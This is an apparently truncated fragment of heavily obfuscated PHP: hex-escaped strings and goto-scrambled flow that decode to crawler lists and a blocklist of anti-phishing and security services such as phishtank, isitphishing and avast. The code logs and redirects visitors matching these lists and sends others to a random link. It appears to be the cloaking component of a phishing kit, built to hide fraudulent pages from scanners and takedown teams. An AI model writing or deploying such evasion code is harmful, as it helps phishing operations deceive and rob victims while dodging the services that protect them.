"\x64\x69\145\x20\142\154\151\x6e\144\x65\40\x6b\x75\150", "\144\151\147\147\x65\162", "\144\x69\164\x74\x6f", "\144\x6d\x6f\x7a", "\144\x6f\x63\x6f\x6d\x6f", "\144\157\167\x6e\154\x6f\141\144\x20\145\x78\x70\x72\x65\x73\163", "\x64\x74\x61\141\x67\145\x6e\164", "\144\167\x63\160", "\145\142\151\156\x65\163\163", "\x65\x62\x69\x6e\x67\142\157\156\x67", "\145\x2d\143\157\154\154\145\x63\x74\157\x72", "\145\152\165\x70\151\x74\145\x72", "\145\x6d\141\143\x73\x2d\x77\x33\40\x73\x65\x61\x72\143\150\x20\145\156\x67\151\156\145", "\x65\x73\164\150\x65\x72", "\145\166\x6c\151\171\141\40\x63\x65\x6c\x65\142\x69", "\145\x7a\x72\x65\163\165\x6c\x74", "\x66\x61\154\143\157\156", "\x66\145\x6c\x69\170\40\151\x64\145", "\x66\145\162\x72\x65\164", "\146\145\164\x63\150\162\157\x76\x65\162", "\x66\151\x64\157", "\146\151\156\144\154\x69\x6e\x6b\x73", "\146\151\x72\145\x62\x61\x6c\x6c", "\x66\x69\163\x68\40\x73\145\x61\162\x63\150", "\146\157\x75\x69\x6e\x65\165\162", "\146\165\156\x6e\145\154\167\145\x62", "\147\141\x7a\x7a", "\x67\143\x72\x65\145\x70", "\147\145\156\151\x65\153\156\x6f\x77\x73", "\x67\145\164\x74\x65\162\x72\157\142\x6f\x70\154\165\163", "\147\x65\x74\x75\x72\154", "\x67\x6c\170", "\x67\157\x66\x6f\162\151\x74", "\x67\x6f\154\x65\155", "\x67\x72\x61\x62\142\x65\x72", "\x67\x72\141\x70\156\x65\154", "\x67\162\x61\x6c\157\x6e", "\147\x72\151\x66\x66\x6f\x6e", "\x67\x72\x6f\155\151\164", "\147\162\x75\x62", "\x67\x75\154\154\151\166\145\162", "\x68\141\x6d\141\150\141\x6b\x6b\x69", "\x68\x61\162\x76\145\x73\x74", "\150\141\166\x69\156\x64\x65\x78", "\150\x65\154\151\170", "\150\145\x72\x69\x74\x72\151\x78", "\x68\153\165\x20\167\167\167\x20\x6f\x63\x74\157\160\165\x73", "\x68\157\x6d\145\162\167\x65\x62", "\150\x74\144\x69\147", "\x68\164\x6d\x6c\x20\x69\x6e\144\x65\170", "\x68\164\155\154\137\141\156\141\154\171\x7a\x65\x72", "\150\x74\155\154\x67\157\142\x62\154\x65", "\150\x75\142\x61\164\x65\162", "\150\171\x70\145\x72\55\x64\145\143\157\156\x74\x65\170\164\165\141\x6c\x69\172\145\x72", "\x69\x61\x5f\x61\x72\x63\x68\x69\166\x65\x72", "\151\x62\x6d\x5f\x70\154\x61\156\x65\x74\167\151\x64\145", "\151\143\150\x69\162\x6f", "\x69\143\157\x6e\163\x75\162\146", "\x69\x6c\x74\162\x6f\x76\141\164\157\x72\145", "\151\155\x61\147\x65\x2e\153\141\160\x73\x69\56\x6e\x65\x74", "\151\x6d\141\x67\x65\154\x6f\x63\153", "\x69\x6e\x63\x79\167\151\156\143\x79", "\x69\156\x64\145\170\x65\162", "\151\x6e\146\x6f\x62\x65\145", "\151\156\146\157\x72\x6d\141\x6e\x74", "\151\x6e\147\x72\151\x64", "\x69\x6e\x6b\164\157\155\x69\x73\145\141\x72\143\x68\56\143\x6f\x6d", "\151\156\x73\160\x65\x63\164\x6f\162\40\x77\145\x62", "\x69\156\x74\145\x6c\x6c\x69\x61\147\x65\x6e\164", "\151\x6e\x74\145\162\156\145\x74\x20\163\x68\x69\x6e\x63\150\x61\x6b\165\142\151\156", "\x69\x70\x33\x30\x30\x30", "\x69\x72\157\x6e\63\63", "\x69\163\162\141\145\154\151\55\x73\145\x61\162\143\x68", "\x69\166\x69\141", "\x6a\141\x63\x6b", "\152\141\x6b\141\x72\x74\141", "\152\141\x76\x61\142\x65\x65", "\x6a\x65\x74\x62\157\x74", "\x6a\165\155\x70\x73\164\x61\x74\151\x6f\x6e", "\153\141\164\x69\160\157", "\x6b\144\144\x2d\x65\x78\160\154\x6f\162\145\162", "\x6b\151\x6c\162\157\x79", "\x6b\x6e\x6f\x77\x6c\145\144\x67\x65", "\x6b\157\164\157\x74\x6f\151", "\x6b\x72\x65\164\x72\x69\x65\166\145", "\x6c\141\x62\x65\x6c\147\x72\141\x62\142\145\x72", "\x6c\141\143\x68\x65\x73\151\x73", "\154\x61\162\x62\x69\156", "\x6c\x65\x67\163", "\154\x69\x62\167\x77\167", "\x6c\x69\156\x6b\141\154\x61\x72\x6d", "\x6c\x69\156\x6b\40\166\141\154\151\x64\141\x74\x6f\162", "\x6c\151\156\x6b\x73\x63\141\x6e", "\x6c\x6f\x63\153\157\x6e", "\x6c\x77\x70", "\x6c\171\143\157\x73", "\155\x61\147\160\151\x65", "\155\x61\156\164\162\141\x61\x67\145\x6e\x74", "\x6d\141\x70\157\146\x74\150\145\151\x6e\164\x65\x72\x6e\145\x74", "\x6d\x61\162\166\x69\156\57", "\x6d\x61\164\x74\x69\x65", "\x6d\145\x64\x69\141\x66\x6f\170", "\155\145\x64\151\141\160\x61\x72\x74\156\x65\162\163", "\155\145\162\143\x61\x74\157\x72", "\x6d\145\162\x7a\x73\143\157\160\x65", "\155\x69\x63\x72\x6f\x73\157\146\x74\40\165\x72\x6c\40\143\157\156\164\162\157\x6c", "\x6d\x69\x6e\x69\x72\x61\156\x6b", "\x6d\151\166\141", "\155\x6a\61\x32", "\155\x6e\157\x67\x6f\163\145\141\162\x63\150", "\155\157\x67\x65\164", "\x6d\x6f\x6e\x73\x74\145\162", "\x6d\x6f\157\163\x65", "\155\x6f\164\x6f\x72", "\155\x75\x6c\164\151\x74\145\170\x74", "\155\x75\x6e\x63\x68\x65\162", "\155\x75\x73\143\141\x74\x66\145\x72\162\x65\164", "\155\x77\144\56\x73\x65\x61\x72\x63\x68", "\x6d\x79\x77\x65\x62", "\156\141\x6a\x64\x69", "\156\x61\x6d\145\x70\162\x6f\x74\145\x63\164", "\x6e\x61\x74\x69\157\x6e\141\x6c\144\151\x72\x65\x63\x74\x6f\x72\171", "\156\x61\172\x69\154\x6c\x61", "\x6e\143\163\x61\40\x62\x65\x74\x61", "\x6e\x65\143\55\155\x65\x73\x68\145\170\x70\x6c\157\x72\145\162", "\x6e\145\x64\x65\x72\x6c\x61\x6e\x64\x2e\x7a\x6f\x65\x6b", "\x6e\145\x74\143\141\x72\x74\141\40\x77\145\142\x6d\x61\160\40\145\x6e\147\151\156\145", "\x6e\145\x74\155\x65\x63\x68\x61\x6e\x69\x63", "\x6e\145\x74\162\x65\x73\x65\141\162\143\150\x73\x65\x72\x76\x65\x72", "\x6e\145\x74\x73\143\x6f\157\x70", "\156\x65\x77\163\x63\x61\156\x2d\x6f\x6e\154\x69\x6e\x65", "\x6e\150\x73\x65", "\156\157\153\x69\x61\66\x36\70\62\x2f", "\x6e\157\155\x61\144", "\x6e\157\x79\157\156\x61", "\x6e\165\164\143\150", "\x6e\172\x65\x78\160\x6c\157\x72\x65\x72", "\157\x62\152\145\143\x74\x73\x73\145\141\x72\143\150", "\157\x63\143\141\155", "\x6f\155\x6e\151", "\157\160\x65\156\40\x74\x65\x78\164", "\157\x70\145\156\146\151\156\x64", "\157\160\145\156\x69\x6e\x74\x65\x6c\x6c\x69\147\145\156\143\145\x64\141\164\x61", "\x6f\162\142\x20\x73\x65\141\162\x63\x68", "\x6f\163\151\x73\x2d\160\x72\157\152\x65\x63\x74", "\x70\x61\x63\x6b\40\162\x61\x74", "\160\141\x67\x65\x62\x6f\x79", "\x70\x61\147\x65\142\x75\154\x6c", "\x70\141\x67\x65\137\x76\145\x72\x69\x66\151\145\x72", "\x70\141\x6e\163\x63\151\x65\x6e\x74", "\160\x61\162\x61\163\x69\x74\145", "\x70\x61\x72\164\x6e\145\162\x73\151\164\x65", "\160\x61\164\162\x69\143", "\160\x65\x61\162\x2e", "\x70\x65\x67\x61\x73\165\x73", "\160\x65\162\145\147\x72\151\156\141\x74\x6f\x72", "\x70\x67\160\40\153\145\x79\40\141\147\x65\x6e\x74", "\x70\x68\141\156\x74\157\x6d", "\x70\x68\160\144\x69\147", "\x70\151\143\x6f\163\x65\141\162\x63\150", "\x70\151\x6c\164\144\x6f\167\156\155\x61\x6e", "\x70\x69\x6d\x70\x74\x72\141\151\x6e", "\x70\151\156\x70\157\x69\156\x74", "\160\151\x6f\156\x65\x65\x72", "\160\x69\162\x61\156\150\141", "\160\154\165\155\164\162\145\x65\x77\145\142\141\143\143\x65\x73\x73\x6f\x72", "\x70\x6f\147\x6f\144\141\153", "\160\157\x69\x72\x6f\164", "\x70\x6f\155\160\x6f\163", "\160\157\x70\160\x65\154\163\x64\157\162\146", "\x70\157\160\160\x69", "\x70\x6f\x70\x75\x6c\x61\x72\x20\x69\x63\x6f\156\157\x63\154\x61\163\164", "\160\x73\171\143\150\x65\x63\154\x6f\156\145", "\x70\165\x62\154\x69\163\x68\x65\162", "\160\x79\x74\150\157\x6e", "\162\x61\155\x62\154\145\x72", "\162\x61\x76\145\x6e\40\163\x65\141\x72\x63\150", "\162\x6f\x61\x63\150", "\x72\x6f\141\x64\40\x72\165\156\x6e\145\x72", "\162\x6f\x61\x64\x68\x6f\x75\x73\145", "\x72\157\142\x62\151\145", "\162\x6f\142\157\x66\x6f\x78", "\162\157\142\x6f\x7a\151\x6c\x6c\141", "\162\x75\154\145\163", "\x73\141\154\164\x79", "\x73\x62\x69\144\145\x72", "\163\143\x6f\157\164\145\x72", "\x73\143\x6f\x75\164\x6a\145\x74", "\x73\143\162\x75\142\142\x79", "\163\x65\x61\x72\143\x68\x2e", "\163\x65\x61\x72\143\x68\x70\x72\x6f\x63\x65\163\x73", "\163\145\x6d\x61\x6e\164\151\143\x64\151\163\x63\x6f\x76\145\x72\x79", "\x73\145\156\162\x69\x67\x61\x6e", "\x73\147\x2d\x73\x63\x6f\165\164", "\x73\150\x61\151\x27\150\165\154\x75\144", "\163\150\141\162\x6b", "\x73\x68\157\160\167\151\x6b\151", "\163\151\x64\145\167\x69\156\x64\x65\x72", "\x73\151\146\164", "\163\x69\154\x6b", "\x73\151\x6d\x6d\141\156\171", "\x73\x69\x74\145\40\x73\x65\x61\162\143\x68\145\162", "\x73\x69\164\x65\40\x76\x61\x6c\145\x74", "\x73\x69\164\x65\x74\x65\x63\x68\x2d\162\157\x76\145\162", "\163\x6b\x79\x6d\157\142\x2e\143\x6f\x6d", "\163\154\x65\145\x6b", "\163\155\141\162\x74\167\151\x74", "\x73\x6e\x61\x2d", "\163\x6e\141\160\x70\171", "\163\x6e\157\157\160\x65\x72", "\x73\x6f\x68\165", "\x73\x70\145\145\144\x66\x69\x6e\144", "\x73\x70\x68\145\162\x65", "\163\x70\150\x69\144\145\x72", "\x73\x70\151\x6e\156\145\162", "\x73\x70\171\144\x65\162", "\x73\164\145\145\154\x65\x72\x2f", "\163\165\x6b\145", "\x73\x75\156\x74\x65\x6b", "\163\165\x70\145\162\163\x6e\157\157\160\145\x72", "\163\x75\162\x66\x6e\157\x6d\x6f\162\145", "\163\166\x65\x6e", "\x73\x79\x67\157\154", "\x73\x7a\165\x6b\141\143\x7a", "\x74\141\143\x68\40\x62\x6c\x61\x63\153\40\x77\151\144\x6f\x77", "\164\x61\x72\141\156\x74\165\154\141", "\164\x65\x6d\160\154\x65\164\x6f\x6e", "\57\164\x65\x6f\155\141", "\164\55\150\x2d\165\55\x6e\55\x64\x2d\x65\55\162\55\x73\x2d\x74\55\x6f\x2d\x6e\x2d\x65", "\x74\150\x65\x6f\x70\x68\162\141\x73\x74\165\163", "\164\151\x74\x61\x6e", "\164\x69\164\x69\156", "\x74\x6b\167\x77\167", "\164\157\165\x74\x61\164\151\x73", "\164\x2d\162\x65\170", "\164\x75\x74\x6f\162\x67\x69\147", "\x74\x77\151\x63\x65\154\145\x72", "\164\x77\x69\x73\x74\145\144", "\165\x63\x73\144", "\x75\144\155\163\145\141\x72\x63\x68", "\165\162\154\x20\x63\x68\145\x63\153", "\165\160\x64\141\x74\145\x64", "\x76\x61\x67\x61\142\157\x6e\144\x6f", "\166\x61\154\153\171\x72\x69\145", "\166\145\x72\164\151\143\162\x61\167\154", "\x76\x69\x63\x74\x6f\x72\151\x61", "\x76\151\163\151\157\156\55\163\x65\x61\x72\x63\150", "\x76\157\154\143\141\x6e\x6f", "\166\157\171\141\147\x65\x72\x2f", "\x76\x6f\171\x61\147\145\162\x2d\x68\x63", "\x77\x33\143\x5f\166\141\x6c\151\144\141\x74\x6f\162", "\167\x33\x6d\x32", "\167\x33\155\x69\x72", "\x77\141\x6c\153\145\x72", "\167\141\154\x6c\160\x61\160\145\162", "\167\x61\156\144\x65\x72\145\x72", "\167\141\165\x75\x75", "\x77\141\166\145\146\151\162\x65", "\167\145\x62\x20\x63\157\162\145", "\x77\x65\142\x20\x68\157\x70\160\145\x72", "\x77\145\x62\x20\167\157\155\142\141\164", "\167\145\142\x62\x61\156\x64\x69\x74", "\167\x65\142\143\x61\164\x63\x68\145\x72", "\167\x65\x62\x63\157\160\x79", "\x77\145\x62\x66\x6f\157\x74", "\167\x65\142\154\x61\x79\145\162\x73", "\167\x65\x62\x6c\x69\x6e\153\145\x72", "\x77\x65\x62\x6c\x6f\x67\40\155\157\156\x69\164\x6f\162", "\167\x65\142\155\151\162\162\x6f\162", "\x77\145\142\x6d\157\x6e\x6b\145\171", "\x77\145\142\161\x75\145\x73\164", "\167\x65\142\162\145\141\160\x65\x72", "\167\x65\142\x73\151\164\x65\x70\x75\x6c\163\145", "\x77\145\142\x73\156\x61\x72\x66", "\x77\145\x62\x73\x74\157\154\x70\x65\x72\145\x72", "\x77\x65\142\x76\x61\x63", "\167\x65\142\x77\141\x6c\x6b", "\167\145\142\x77\141\x74\x63\x68", "\167\x65\x62\167\157\155\x62\x61\164", "\x77\x65\142\x7a\151\156\147\x65\x72", "\167\x67\x65\164", "\x77\150\x69\172\142\x61\x6e\x67", "\167\150\157\x77\150\x65\162\145", "\x77\151\x6c\144\x20\146\145\162\162\145\x74", "\x77\x6f\x72\154\x64\154\151\147\150\164", "\167\167\x77\143", "\167\x77\x77\163\164\145\x72", "\x78\x65\156\x75", "\x78\x69\146\x74", "\111\156\x74\145\x72\x67\162\x69\144", "\x79\x61\156\x64\145\x78", "\147\x6f\157\x67\x6c\x65", "\115\151\x63\162\157\163\157\146\x74", "\x79\x61\x6e\x67\x61", "\x79\x65\164\x69", "\171\x61\150\157\x6f\x21"); goto Bqy66; dq3VY: $hostname = gethostbyaddr($_SERVER["\x52\105\x4d\117\124\x45\137\101\x44\x44\122"]); goto p_hkR; UyUt0: if ($found) { foreach ($ips as $ip) { if (preg_match("\57" . $ip . "\x2f", $_SERVER["\x52\x45\x4d\x4f\x54\105\137\x41\104\x44\122"])) { $ip = getenv("\x52\x45\x4d\x4f\x54\x45\137\101\x44\x44\x52"); $file = fopen("\x69\x70\x73\x2e\164\170\x74", "\141"); fwrite($file, '' . $ip . "\12"); header("\154\157\x63\141\x74\151\157\x6e\x3a\x20{$link}"); die; } } } goto dq3VY; tgICC: $dp = strtolower($_SERVER["\x48\124\124\120\137\x55\123\105\122\137\101\x47\105\x4e\124"]); goto gVoid; fTc1j: $id = $_SERVER["\122\x45\115\x4f\124\x45\x5f\x41\104\x44\x52"]; goto ompla; JNy2Y: $link = $link[$random]; goto fTc1j; bYSbo: session_start(); goto FCOPj; TehMF: $lines = file($ips, FILE_IGNORE_NEW_LINES); goto XRWU1; mm3V_: require_once "\x66\x75\x6e\143\x74\151\x6f\156\56\x70\x68\160"; goto LZ_26; XRWU1: $found = false; goto GUH5V; y8EcV: $data = array("\164\x6f\x6b\x65\156" => $token); goto bpbKb; LZ_26: require_once "\143\x6f\156\146\x69\x67\56\x70\150\160"; goto WZZvd; p_hkR: $blocked_domain = array("\142\157\x74", "\115\x6f\x72\157\x63\143\x6f", "\x6f\x76\x68", "\160\150\x69\x73\x68\155\x6f\156\147\145\x72\163", "\143\x6f\155\x70\154\x65\x74\x65\x6c", "\165\163\x65\x72", "\163\164\x61\x74\x69\143\56\x33\x73", "\156\145\x74\x6d\141\162", "\x2e\145\165", "\141\142\157\166\x65", "\x74\150\151\x6e\x69\x6e\163", "\x61\154\160\x68\141\x6c\x69\x6e\153", "\x69\x70\x76\141\156\x69\x73\150", "\x6f\160\145\x6e\144\156\163", "\x6b\141\163\163\145\x72\x76\145\x72", "\147\141\x6e\x64\151", "\143\x6f\154\164\146\162\x61\x6e\x63\x65", "\141\166\x61\163\164", "\141\x63\143\145\x6c\x61\156\143\145", "\x6a\x6f\x75\166\145\x2d\x68\144\x69", "\141\153\x61\155\x61\151\x74\145\143\x68\156\157\x6c\157\x67\151\x65\163", "\147\x68\163\164", "\x64\x69\154\x61", "\164\x70\x6e\145\x74", "\x69\163\151\x74\x70\x68\151\163\x68\151\156\x67", "\160\x68\151\163\x68\x69\156\x67\x2d\x69\x6e\151\x74\151\141\164\151\166\145", "\161\167\x61\156\x74", "\x6d\x61\151\154", "\x77\x65\142\x6d\x61\x69\x6c", "\143\154\157\165\144", "\163\143\141\154\x65\x77\x61\x79", "\x61\162\x75\142\x61\143\154\x6f\x75\144", "\x61\162\x75\x62\x61", "\x61\166\x72\x61\x6e\x63\150\x65\163", "\x63\x6f\154\164\146\162\x61\x6e\x63\145", "\x62\x6f\x74", "\x61\142\157\x76\x65", "\147\x6f\x6f\147\154\145", "\163\157\146\164\x6c\141\171\145\162", "\141\155\x61\172\x6f\156\141\x77\x73", "\x63\x79\x76\145\x69\154\154\141\156\x63\x65", "\160\x68\x69\163\150\164\141\x6e\153", "\x64\162\x65\141\155\x68\x6f\x73\x74", "\156\x65\x74\x70\151\x6c\157\164", "\x63\x61\154\x79\170\151\156\x73\x74\151\164\x75\x74\x65", "\164\157\x72\55\145\170\x69\164", "\141\x70\141\x63\x68\x65\x2d\x68\164\x74\160\x63\x6c\x69\145\x6e\164", "\154\x73\163\x72\157\x63\153\x65\164\x63\x72\x61\167\x6c\145\x72", "\143\162\x61\167\x6c\145\162", "\x75\162\x6c\162\145\x64\151\162\145\143\x74\x72\x65\163\157\x6c\166\145\x72", "\x6a\x65\164\x62\162\141\151\156\x73", "\163\x70\141\x6d", "\x77\x69\156\144\157\x77\163\40\x39\65", "\x77\x69\156\x64\x6f\167\163\x20\71\70", "\141\143\165\156\x65\x74\x69\x78", "\156\x65\x74\163\160\x61\162\153\x65\162", "\x30\x30\67\141\x63\71", "\x30\60\x38", "\x31\x39\x32\56\143\x6f\155\141\x67\145\x6e\x74", "\62\x30\x30\x70\x6c\145\141\x73\145\x62\x6f\164", "\x33\x36\60\163\x70\151\144\x65\x72", "\x34\x73\145\157\150\165\156\164\142\157\x74", "\164\x75\55\142\145\162\154\151\x6e", "\65\60\56\156\x75", "\x61\66\55\151\156\144\x65\x78\145\x72", "\x61\x64\x6d\141\156\x74\170", "\x61\x6d\172\x6e\153\x61\x73\163\x6f\143\142\x6f\x74", "\x61\142\x6f\165\x6e\144\145\x78\142\157\164", "\x61\142\157\165\164\165\163\x62\157\164", "\141\x62\162\141\x76\145\x20\x73\160\151\x64\145\x72", "\x61\143\143\x65\x6c\157\x62\x6f\x74", "\x61\143\157\x6f\156\142\157\164", "\141\x64\x64\164\x68\x69\x73\56\143\x6f\x6d", "\x61\x64\x73\142\157\164\55\x67\x6f\157\147\x6c\x65", "\x61\x68\162\145\x66\x73\142\157\x74", "\x61\x6c\x65\170\141\x62\x6f\x74", "\x61\x6d\x61\x67\151\164\x2e\143\x6f\x6d", "\x61\x6e\141\154\171\x74\151\x63\x73", "\141\x6e\164\142\x6f\x74", "\x61\x70\x65\162\x63\x69\x74\x65", "\x61\160\x6f\162\164\167\x6f\x72\x6d", "\x45\102\x41\131", "\x43\x4c\60\116\x41", "\152\141\x62\x62\x65\x72", "\145\x62\x61\x79", "\x61\x72\x61\x62\157\164", "\150\x6f\164\x6d\141\x69\154\x21", "\155\x73\x6e\x21", "\x6f\165\x74\x6c\x6f\x6f\153\41", "\x6f\x75\164\154\157\x6f\153", "\155\163\x6e", "\x68\157\x74\x6d\141\x69\x6c", "\x61\x62\x6f\x74", "\144\142\157\x74", "\x65\142\157\x74", "\150\142\x6f\164", "\x6b\142\157\x74", "\x6c\x62\x6f\x74", "\155\142\157\x74", "\156\x62\157\164", "\157\142\x6f\x74", "\160\142\x6f\164", "\162\x62\x6f\164", "\163\142\157\164", "\x74\142\x6f\x74", "\x76\x62\x6f\164", "\x79\x62\157\x74", "\172\142\157\x74", "\x62\x6f\164\x2e", "\142\x6f\164\57", "\137\x62\x6f\x74", "\56\x62\x6f\x74", "\x2f\x62\157\x74", "\55\x62\157\164", "\x3a\142\157\x74", "\50\142\157\164", "\143\x72\141\167\154", "\x73\x6c\x75\162\160", "\x73\160\x69\144\x65\162", "\163\145\145\153", "\141\143\143\157\x6f\x6e\141", "\141\143\x6f\157\156", "\141\x64\162\145\163\163\145\x6e\x64\145\x75\164\x73\x63\x68\x6c\x61\x6e\144", "\x61\x68\x2d\x68\x61\56\x63\x6f\x6d", "\x61\150\157\x79", "\141\154\x74\141\166\151\163\164\141", "\141\x6e\141\156\172\151", "\141\x6e\164\x68\151\154\154", "\x61\160\160\x69\x65", "\141\162\141\x63\x68\156\157\x70\x68\x69\154\151\x61", "\141\162\x61\x6c\x65", "\141\162\141\x6e\145\157", "\141\162\x61\156\150\141", "\141\162\x63\x68\x69\164\x65\x78\x74", "\x61\x72\x65\x74\150\x61", "\141\162\x6b\x73", "\x61\x73\164\x65\x72\151\x61\163", "\141\x74\x6c\x6f\143\x61\154", "\x61\x74\x6e", "\141\164\x6f\155\172", "\x61\165\147\165\162\146\x69\156\x64", "\142\141\143\153\162\x75\x62", "\x62\x61\156\156\x61\x6e\x61\137\142\157\x74", "\x62\x61\171\x70\165\160", "\x62\144\x66\x65\x74\x63\x68", "\142\x69\147\40\x62\162\157\x74\x68\x65\x72", "\142\151\147\154\x6f\164\162\157\156", "\x62\152\141\141\154\141\156\x64", "\x62\154\141\143\x6b\x77\x69\x64\x6f\167", "\142\154\x61\151\172", "\142\x6c\x6f\147", "\142\x6c\x6f\x2e", "\142\154\157\157\144\150\x6f\x75\156\x64", "\142\x6f\151\x74\150\x6f", "\x62\x6f\157\143\x68", "\142\162\x61\144\x6c\x65\x79", "\142\x75\x74\164\145\162\146\154\x79", "\x63\x61\x6c\x69\x66", "\x63\x61\x73\163\x61\156\144\162\141", "\x63\143\165\x62\145\145", "\143\x66\x65\x74\x63\150", "\143\150\x61\162\x6c\157\164\x74\x65", "\x63\x68\x75\x72\154", "\x63\151\145\x6e\x63\151\x61\146\x69\143\x63\151\157\156", "\x63\x6d\143", "\143\x6f\154\154\145\143\x74\151\x76\x65", "\143\157\155\141\x67\x65\156\x74", "\143\x6f\155\x62\x69\x6e\x65", "\x63\157\x6d\x70\165\x74\151\x6e\x67\163\151\164\145", "\x63\x73\143\151", "\143\165\x72\x6c", "\143\x75\x73\143\x6f", "\x64\x61\x75\155\x6f\141", "\144\145\x65\x70\151\x6e\x64\145\170", "\144\x65\154\x6f\x72\151\145", "\x64\145\x70\x73\160\x69\144", "\144\145\x77\145\142", "\145\143\x68\x6f\x20\142\154\151\x6e\144\145\x20\x6b\x75\x68", "\x64\x69\147\x67\x65\x72", "\x64\151\x74\164\x6f", "\x64\x6d\157\x7a", "\144\157\143\x6f\155\157", "\164\154\150\x2e\162\x6f", "\x63\157\x6c\x6f\165\160\56\x63\157\x6d", "\144\x6f\167\156\154\157\x61\144\x20\145\170\160\162\145\163\x73", "\x64\164\141\x61\147\x65\x6e\x74", "\x64\x77\x63\x70", "\145\x62\x69\x6e\145\x73\163", "\145\x62\151\x6e\x67\142\x6f\x6e\147", "\x65\55\143\157\154\x6c\x65\x63\164\x6f\162", "\145\x6a\165\160\x69\164\x65\x72", "\x65\x6d\141\x63\163\x2d\x77\63\x20\163\145\x61\162\x63\150\x20\145\156\x67\x69\x6e\x65", "\145\x73\164\150\x65\162", "\x65\166\154\x69\x79\141\40\x63\145\x6c\x65\142\x69", "\x65\x7a\x72\x65\163\165\154\x74", "\146\x61\154\143\157\156", "\146\x65\154\x69\x78\40\151\144\x65", "\146\x65\162\162\145\164", "\x66\x65\164\x63\x68\162\157\x76\x65\162", "\146\x69\x64\157", "\146\151\156\x64\x6c\x69\156\153\x73", "\x66\151\x72\145\142\x61\x6c\x6c", "\146\151\163\x68\40\x73\x65\141\162\143\x68", "\x66\157\165\151\x6e\145\x75\x72", "\x66\165\x6e\x6e\x65\154\167\x65\142", "\x67\141\x7a\172", "\x67\x63\162\145\x65\x70", "\147\x65\156\151\x65\153\156\157\x77\163", "\147\x65\164\164\x65\162\162\157\142\157\x70\154\165\163", "\147\145\x74\x75\x72\x6c", "\x67\x6c\170", "\147\x6f\146\x6f\x72\151\x74", "\x67\x6f\x6c\x65\x6d", "\147\x72\141\142\142\145\x72", "\x67\x72\141\x70\156\x65\154", "\147\x72\x61\x6c\157\x6e", "\147\x72\x69\x66\x66\x6f\x6e", "\x67\162\x6f\155\151\164", "\147\x72\165\142", "\x67\x75\154\154\x69\166\x65\x72", "\x68\x61\x6d\x61\150\x61\153\153\x69", "\x68\141\162\166\x65\163\164", "\150\x61\x76\x69\x6e\x64\x65\170", "\150\145\x6c\151\170", "\x68\x65\x72\x69\x74\162\151\170", "\150\153\165\x20\167\167\x77\40\157\x63\x74\x6f\x70\165\163", "\x68\x6f\155\145\x72\x77\145\x62", "\163\x74\x72\x61\164\157\163\145\162\166\145\162", "\150\164\155\x6c\40\x69\x6e\x64\145\x78", "\x68\164\x6d\154\x5f\x61\x6e\141\x6c\171\172\x65\x72", "\x68\164\155\154\x67\157\x62\x62\154\145", "\150\165\x62\x61\x74\x65\x72", "\x68\171\x70\x65\162\55\144\145\x63\157\156\x74\145\x78\164\x75\141\154\151\172\145\x72", "\151\x61\137\141\x72\143\x68\x69\x76\x65\162", "\151\x62\x6d\x5f\160\154\141\156\145\164\x77\151\144\145", "\151\x63\x68\151\x72\157", "\x69\143\x6f\x6e\163\165\x72\x66", "\x69\154\164\x72\x6f\x76\141\x74\x6f\x72\x65", "\x69\155\141\147\145\x2e\153\141\160\163\151\x2e\156\x65\164", "\x69\155\x61\147\145\154\157\143\x6b", "\x69\x6e\x63\171\x77\x69\x6e\143\171", "\151\156\144\145\170\x65\162", "\x69\x6e\146\157\x62\x65\145", "\151\x6e\146\x6f\162\155\x61\x6e\164", "\151\156\147\x72\151\x64", "\x69\x6e\153\164\157\155\151\163\x65\x61\x72\x63\150\56\143\157\x6d", "\151\x6e\x73\160\x65\x63\164\x6f\162\x20\x77\145\x62", "\151\156\x74\x65\x6c\x6c\x69\141\x67\145\156\164", "\151\156\164\x65\x72\x6e\145\x74\x20\x73\150\x69\x6e\x63\x68\141\153\165\x62\x69\x6e", "\151\x70\x33\60\x30\x30", "\x69\162\157\156\x33\x33", "\151\163\x72\141\x65\154\x69\55\x73\145\141\162\143\150", "\151\166\151\x61", "\152\141\x63\x6b", "\x6a\141\x6b\141\162\x74\141", "\x6a\141\166\x61\x62\x65\145", "\x6a\x65\164\x62\x6f\x74", "\x6a\x75\155\160\x73\164\141\x74\x69\157\x6e", "\153\x61\164\151\160\157", "\x6b\x64\144\x2d\145\x78\160\154\x6f\162\x65\x72", "\153\151\x6c\162\x6f\171", "\153\x6e\x6f\x77\x6c\x65\x64\147\x65", "\153\157\x74\157\164\157\151", "\x6b\x72\145\x74\x72\151\x65\166\145", "\x6c\x61\x62\145\154\147\x72\141\142\x62\x65\x72", "\154\141\143\x68\145\163\x69\x73", "\154\x61\x72\x62\151\156", "\154\145\147\163", "\x6c\151\x62\167\x77\x77", "\x6c\x69\x6e\153\x61\x6c\141\x72\x6d", "\x6c\x69\156\x6b\40\166\141\x6c\151\x64\141\x74\x6f\x72", "\x6c\x69\156\x6b\x73\143\x61\x6e", "\x6c\x6f\143\x6b\157\156", "\x6c\x77\160", "\x6c\171\143\x6f\x73", "\x6d\141\x67\x70\151\145", "\x6d\141\x6e\164\162\141\x61\147\145\156\x74", "\155\x61\160\x6f\x66\x74\x68\x65\151\x6e\x74\x65\x72\156\x65\164", "\155\x61\x72\166\151\x6e\x2f", "\x6d\x61\164\x74\151\x65", "\155\x65\144\x69\141\x66\157\170", "\x6d\x65\x64\151\141\160\x61\162\164\x6e\145\x72\163", "\155\145\x72\143\x61\x74\x6f\162", "\x6d\x65\162\x7a\x73\143\157\x70\x65", "\x6d\151\x63\x72\157\163\157\146\x74\x20\x75\162\x6c\x20\143\157\x6e\164\162\157\x6c", "\x6d\151\x6e\x69\162\x61\156\153", "\x6d\151\166\141", "\x6d\x6a\x31\x32", "\155\156\x6f\147\x6f\x73\145\x61\162\143\150", "\155\x6f\147\x65\164", "\x6d\x6f\x6e\163\x74\145\162", "\x6d\157\157\163\x65", "\x6d\157\x74\157\162", "\155\165\154\164\x69\164\145\170\164", "\x6d\165\156\143\150\x65\162", "\x6d\165\x73\143\x61\x74\x66\x65\x72\162\x65\164", "\x6d\x77\x64\56\x73\x65\x61\x72\x63\x68", "\155\171\167\x65\142", "\x6e\141\x6a\x64\151", "\x6e\141\x6d\x65\160\162\157\x74\x65\143\x74", "\156\141\164\151\x6f\156\x61\x6c\x64\x69\162\145\143\164\157\162\x79", "\x6e\141\x7a\151\154\x6c\141", "\156\143\163\x61\x20\142\x65\164\141", "\156\x65\143\55\x6d\x65\163\150\x65\x78\160\x6c\157\162\x65\x72", "\156\x65\144\x65\x72\154\x61\x6e\x64\x2e\x7a\x6f\145\153", "\156\145\164\x63\x61\x72\x74\x61\40\167\x65\142\155\141\160\x20\x65\x6e\147\151\x6e\x65", 